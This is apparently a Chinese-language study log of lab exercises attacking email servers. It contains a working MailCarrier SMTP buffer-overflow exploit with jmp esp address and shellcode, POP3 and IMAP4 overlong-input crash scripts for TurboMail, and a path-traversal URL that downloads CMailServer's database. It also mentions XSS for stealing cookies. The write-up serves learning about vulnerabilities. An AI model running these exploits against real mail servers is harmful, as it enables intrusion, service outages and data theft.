目录
再跟作者继续学吧
SMTP漏洞:mailcarrier
mailcarrier我在英文的xp系统上才能安装,中文的xp不行
注意如果windows开启了smtp注意关掉
代码:
# -*- coding: utf-8 -*- from smtplib import SMTP as smtp HOST = "192.168.253.156" username = 'A' * 3000 pwd = '123456' def main(): try: s = smtp(HOST) except : print "connect Host : %s error" % HOST return print "connected to SMTP Host : %s ***" % HOST try: s.login(username, pwd) except : print "username or password is error" return print "*** login successed" return if __name__ == '__main__': main()
我们使用HELO命令测试
我们看看如何定位,还是利用mona吧
可以看到了
位置为5093
那我们再找找jmp esp什么的
但找到的都是只读什么的
但我用作者之前推荐的od插件就找到很多了
试试
可能由于那个是不可见程序,可以对话框没显示?
跟踪的话是执行成功了的,也听到声音了,
最终代码:
# -*- coding: utf-8 -*- # @Date : 2017-02-20 11:10:54 import struct import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) jmp_esp = 0x7E492530 jmp_esp = struct.pack("<I", jmp_esp) nop = '\x90' * 12 shellcode = "\x33\xDB\x53\x68\x6E\x63\x68\x21\x68\x74\x62\x72\x61\x68\x67\x69\x61\x6E\x8B\xC4\x53\x50\x50\x53\xB8\xEA\x07\x45\x7E\xFF\xD0" buffer = 'A' * 5093 payload = buffer + jmp_esp + shellcode try: s.connect(("192.168.253.156", 25)) s.send('HELO ' + payload + '\r\n') data = s.recv(1024) s.close() except : print "Could not connect to SMTP!"
POP3漏洞:TurboMail
pop3是收邮件的
非常简洁
看看登陆的python代码先
# -*- coding: utf-8 -*- # @Date : 2017-02-20 14:09:02 import poplib M = poplib.POP3("192.168.253.151") # 账户密码 M.user("[email protected]") M.pass_("123456")
实验一下
这个软件的设置应该是在网页端的
还有语音选一下中文吧
直接点击管理员,再点登陆就进入了
现在增加一个域
下面开始攻击
代码:
# -*- coding: utf-8 -*- # @Date : 2017-02-20 14:09:02 import poplib M = poplib.POP3("192.168.253.151") payload = 'a' * 260 M.user(payload) M.pass_("1234567")
我们跟着作者找断点下
下断点
运行脚本,断下后,运行到用户代码,就可以看到收到用户名了
之后就是密码
跟着我们继续f8单步,但到下面这里,程序就退出了
那我们下次直接运行到这f7跟进后再f8单步
跟进后继续单步
但要注意观察数据和堆栈
这里又终止了
其实这里就看到域,账号密码了
跟着又终止运行了
继续,跟作者的一样
继续走,可以看到路径了
他肯定是用户名跟路径拼接,跟那个路径的配置文件比较,看看是否正确
最中我跟踪到是在cookie检测处退出的程序
我觉得是覆盖了cookie了
作者说是超过了系统文件目录的长度
但这里若是缓冲区溢出也是比较难利用了,有gs
但肯定是可以dos的
IMAP4漏洞:TurboMail
这个协议也是收邮件的
这个协议可以操作文件夹,那我们就可以测试一下文件夹名字过长行不行咯
python也有库了,直接上代码
# -*- coding: utf-8 -*- # @Date : 2017-02-20 16:40:16 import imaplib M = imaplib.IMAP4("192.168.253.151") payload = 'A' * 3000 try: M.login("[email protected]", '123456') except : print "login error!" # 选择文件夹 try: s = M.select(payload) except M.error, e: print "select error!" M.close() M.logout()
运行结果
又是dos漏洞
应该是名称过长,覆盖了某些数据,导致读取一个非法地址,再从非法地址读取造成运行错误
我在自己写多点吧
这里利用上次作者的方法做一遍,发现更多的东西吧
还是对接受函数下断点,执行到用户代码
一次收到用户,密码
以及那个选择文件目录的命令,如下图是select命令
继续单步
可以看到在栈上确实覆盖了很多数据
为了加快速度,我尝试直接对那些数据下内存访问断点
还是直接到了报错的地方
那么esi从栈上来,栈上的41414141从哪里来
是从这里过来的
调试发现确实是
其他E-mail漏洞
url中的路径回溯
这里使用的是cmailserver 5.4.6
还需要有iis哦
设置虚拟目录就有web版了
可以登陆了
添加附件发给自己
这个附件的链接是
我们看看download.php
我们发现只判断了前面是否是maildata
那这样是不是可以http://192.168.253.151/mail/download.asp?urlOfAttach=/maildata/../db/db.mdb
下载数据库呢
确实可以啊
内存中的路径回溯
软件:Kerio MailServer v6.7.3 Build 7919
打开后就会看到有什么服务,端口是什么
而且他读取的就是下面这个文件夹里面的文件的信息
那我们是不是可以抓包,改包,可以实现任意文件读取?
但用封包工具抓包,抓的都是密文,看不到明文
那这样子的想法就不行了咯
那么设置时候怎么下断点呢,算了就先这样,看看作者的图就好,知道怎么截断设置文件名的告诉我
我下断CreateFile和WriteFile都不行
邮件中的XSS
还是Turbomail
这可以盗取cookie,钓鱼等
好啦,继续前行